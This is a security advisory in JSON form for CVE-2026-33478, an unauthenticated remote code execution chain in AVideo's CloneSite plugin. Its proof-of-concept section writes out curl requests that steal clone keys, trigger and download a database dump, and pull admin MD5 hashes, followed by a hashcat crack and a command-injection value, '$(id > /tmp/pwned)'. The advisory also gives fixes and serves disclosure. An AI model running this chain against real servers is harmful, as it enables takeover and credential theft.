CVE-2026-33478: AVideo Multi-Chain Attack Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-687q-32c6-8x68",
  "modified" : "2026-04-08T22:49:56Z",
  "published" : "2026-03-20T20:43:50Z",
  "aliases" : [ "CVE-2026-33478" ],
  "summary" : "AVideo Multi-Chain Attack: Unauthenticated Remote Code Execution via Clone Key Disclosure, Database Dump, and Command Injection",
  "details" : "## Summary\n\nMultiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The `clones.json.php` endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via `cloneServer.json.php`. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in `cloneClient.json.php` to execute arbitrary system commands.\n\n## Details\n\n### Step 1: Clone Key Disclosure\n\n`plugin/CloneSite/clones.json.php:1-8` has zero authentication:\n\n```php\n<?php\nrequire_once '../../videos/configuration.php';\nrequire_once $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php';\nheader('Content-Type: application/json');\n$rows = Clones::getAll();\n?>\n{\"data\": <?php echo json_encode($rows); ?>}\n```\n\nThe response includes the `key` field for every registered clone, which is the sole authentication credential for clone operations.\n\n### Step 2: Database Dump via Stolen Key\n\n`plugin/CloneSite/cloneServer.json.php:73-97` — once the key passes `Clones::thisURLCanCloneMe()`, the server executes `mysqldump` and writes the result to a web-accessible directory:\n\n```php\n$cmd = \"mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} \"\n    .\" --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile\";\nexec($cmd . \" 2>&1\", $output, $return_val);\n```\n\nThe SQL file path is returned in the JSON response and is downloadable.\n\n### Step 3: Admin Credential Extraction\n\n`objects/user.php:1798` — passwords are stored as unsalted MD5:\n\n```php\n$passEncoded = md5($pass);\n```\n\nThe `users` table in the dump contains `user`, `password` (MD5), and `isAdmin` fields. MD5 hashes crack in seconds.\n\n### Step 4: Command Injection via Rsync\n\n`plugin/CloneSite/cloneClient.json.php:259` — the `videosDir` from the clone server response is interpolated unsanitized into the rsync command:\n\n```php\n$rsync = \"sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ...\";\nexec($cmd . \" 2>&1\", $output, $return_val);\n```\n\nAn admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the `videosDir` field.\n\n## PoC\n\n```bash\n# Step 1: Steal clone keys (unauthenticated)\ncurl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key'\n# Output: \"a1b2c3d4e5f6...\"\n\n# Step 2: Trigger database dump\nCLONE_KEY=\"a1b2c3d4e5f6...\"\ncurl -s \"http://target/plugin/CloneSite/cloneServer.json.php\" \\\n  --data \"url=http://attacker.com&key=${CLONE_KEY}&useRsync=0\" | jq '.sqlFile'\n# Output: \"Clone_mysqlDump_1234567890.sql\"\n\n# Step 3: Download the dump and extract admin credentials\ncurl -s \"http://target/videos/clones/Clone_mysqlDump_1234567890.sql\" \\\n  | grep -A2 \"INSERT INTO.*users\" \\\n  | grep -oP \"admin','[a-f0-9]{32}\"\n# Output: admin','5f4dcc3b5aa765d61d8327deb882cf99  (MD5 of \"password\")\n\n# Step 4: Crack MD5 (trivial)\necho -n \"5f4dcc3b5aa765d61d8327deb882cf99\" | hashcat -m 0 -a 0 rockyou.txt\n# Output: password\n\n# Step 5: Login as admin, configure CloneSite with malicious server\n# The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned)\n# When rsync executes, the $(id) is evaluated by the shell\n```\n\n## Impact\n\n- **Complete server compromise**: Unauthenticated attacker achieves arbitrary command execution as the web server user\n- **Full database disclosure**: The entire database (users, videos, configurations, secrets) is exfiltrated\n- **No user interaction**: Every step is automated, no clicks or social engineering required\n- **Credential theft**: All user passwords (MD5) are trivially recoverable\n- **Lateral movement**: Database credentials and SSH credentials (stored encrypted in the plugins table) may enable access to other systems\n\n## Recommended Fix\n\n1. **Add authentication to `clones.json.php`:**\n```php\n// plugin/CloneSite/clones.json.php\nrequire_once '../../videos/configuration.php';\nif (!User::isAdmin()) {\n    http_response_code(403);\n    die(json_encode(['error' => true, 'msg' => 'Admin required']));\n}\n```\n\n2. **Don't store SQL dumps in web-accessible directories** — use a path outside the web root or require re-authentication to download.\n\n3. **Upgrade password hashing** — replace MD5 with `password_hash()` (bcrypt/argon2):\n```php\n// Replace: $passEncoded = md5($pass);\n$passEncoded = password_hash($pass, PASSWORD_DEFAULT);\n```\n\n4. **Sanitize rsync command parameters** — use `escapeshellarg()` on all interpolated values:\n```php\n$rsync = sprintf(\"rsync -av ... %s@%s:%s ...\",\n    escapeshellarg($objClone->cloneSiteSSHUser),\n    escapeshellarg($objClone->cloneSiteSSHIP),\n    escapeshellarg($json->videosDir)\n);\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-687q-32c6-8x68"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33478"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/c85d076375fab095a14170df7ddb27058134d38c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284", "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T20:43:50Z",
    "nvd_published_at" : "2026-03-23T15:16:34Z"
  }
}